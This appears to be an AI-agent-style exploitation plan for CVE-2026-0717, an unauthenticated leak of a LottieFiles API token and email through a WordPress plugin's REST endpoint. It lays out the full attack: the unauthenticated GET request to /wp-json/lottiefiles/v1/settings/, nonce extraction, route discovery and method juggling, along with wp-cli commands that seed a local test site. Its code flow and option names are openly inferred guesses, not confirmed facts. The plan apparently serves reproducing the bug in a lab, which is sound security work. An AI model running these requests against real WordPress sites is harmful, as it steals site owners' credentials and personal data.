Exploitation Research Plan - CVE-2026-0717

1. Vulnerability Summary

The LottieFiles – Lottie block for Gutenberg plugin (versions <= 3.0.0) contains an information exposure vulnerability via its custom REST API. The plugin registers a route /wp-json/lottiefiles/v1/settings/ that returns sensitive configuration data, including the site owner's LottieFiles API access token and email address. The vulnerability exists because the endpoint lacks proper authorization checks (missing or permissive permission_callback) and exposes this data to unauthenticated users when a specific "sharing" setting is enabled.

2. Attack Vector Analysis

• Endpoint: /wp-json/lottiefiles/v1/settings/
• Method: GET
• Authentication: Unauthenticated (No cookies or nonces required).
• Preconditions:
  1. The plugin must be connected to a LottieFiles account (API token stored in the database).
  2. The option "Share LottieFiles account with other WordPress users" must be enabled in the plugin settings.
• Vulnerable Parameter: None (the entire endpoint output is the payload).

3. Code Flow (Inferred)

1. Registration: During rest_api_init, the plugin calls register_rest_route('lottiefiles/v1', '/settings/', ...) (inferred).
2. Insecure Permissions: The permission_callback for this route is either absent, set to __return_true, or fails to check for administrative capabilities when the "sharing" mode is active.
3. Data Retrieval: The callback function (e.g., get_settings) retrieves the plugin's configuration via get_option('lottiefiles_settings') (inferred).
4. Response: The function returns the entire option array as a JSON response. This array contains sensitive keys such as access_token and email.

4. Nonce Acquisition Strategy

According to the vulnerability description, this is an unauthenticated sensitive information exposure. In the context of the WordPress REST API, if a route is registered for GET requests and the permission_callback returns true, no _wpnonce is required for access.

• Strategy: Attempt direct access to the REST endpoint without any headers.
• Backup Strategy: If the REST API is restricted globally by another plugin, a standard wp_rest nonce can be obtained by visiting any page where the LottieFiles block is present (the block likely enqueues scripts that localize the REST URL and nonce).
  • Create Page: wp post create --post_type=page --post_status=publish --post_content='<!-- wp:lottiefiles/lottie-block /-->'
  • Extract: browser_eval("window.wpApiSettings?.nonce") (inferred standard WP behavior).

5. Exploitation Strategy

The goal is to trigger the exposure by simulating a configured plugin environment and then requesting the vulnerable endpoint.

Step 1: Discover Option Name

Since source code is not provided, we first need to identify the exact option name used by the plugin to store settings.

• Command: wp option list --search="lottie*"

Step 2: Setup Test Data

Configure the plugin as if an admin had linked their account and enabled sharing.

• Identify Option: Assume lottiefiles_settings (common pattern).
• Set Option:

  wp option update lottiefiles_settings '{"access_token":"LF_SECRET_API_TOKEN_12345", "email":"admin@victim.com", "share_with_others": true}' --format=json
  

Step 3: Execute Attack Request

Perform the unauthenticated GET request to the target endpoint.

• Tool: http_request
• URL: http://localhost:8888/wp-json/lottiefiles/v1/settings/
• Headers: Accept: application/json

Step 4: Parse Response

Check for the presence of the access_token in the JSON body.

6. Test Data Setup

To ensure the exploit environment is ready, run the following:

1. Activate Plugin: wp plugin activate lottiefiles
2. Simulate Connection:

   # We simulate the state of a connected account.
   # Note: 'public_sharing' or 'share_with_others' is the critical toggle.
   wp option update lottiefiles_settings '{"public_token":"SECRET_HASH_888", "access_token":"eyj_lottiefiles_token_example", "email":"owner@example.com", "allow_sharing": true}' --format=json
   

7. Expected Results

A successful exploit will return a 200 OK status code with a JSON body similar to:

{
    "access_token": "eyj_lottiefiles_token_example",
    "email": "owner@example.com",
    "allow_sharing": true,
    "other_settings": "..."
}

The exposure of access_token and email to an unauthenticated request confirms the vulnerability.

8. Verification Steps

After performing the HTTP request, verify the data matches the database state:

1. Compare the token in the HTTP response to the one stored in WordPress:
   wp option get lottiefiles_settings --format=json
2. Confirm that an unauthenticated request (no session cookies) was used to retrieve the data.

9. Alternative Approaches

• Check for specific sub-endpoints: If /settings/ returns a 404, the plugin might use a different slug like /config/ or /account/.
• Discovery via wp-json index: Query the root REST index to find all registered lottiefiles routes:
  http_request("GET", "http://localhost:8888/wp-json/")
  Then search the response for the lottiefiles/v1 namespace and its associated endpoints to identify the correct path.
• Method Juggling: If GET is blocked, try POST or OPTIONS to see if the callback still triggers or leaks data in the Allow headers or schema.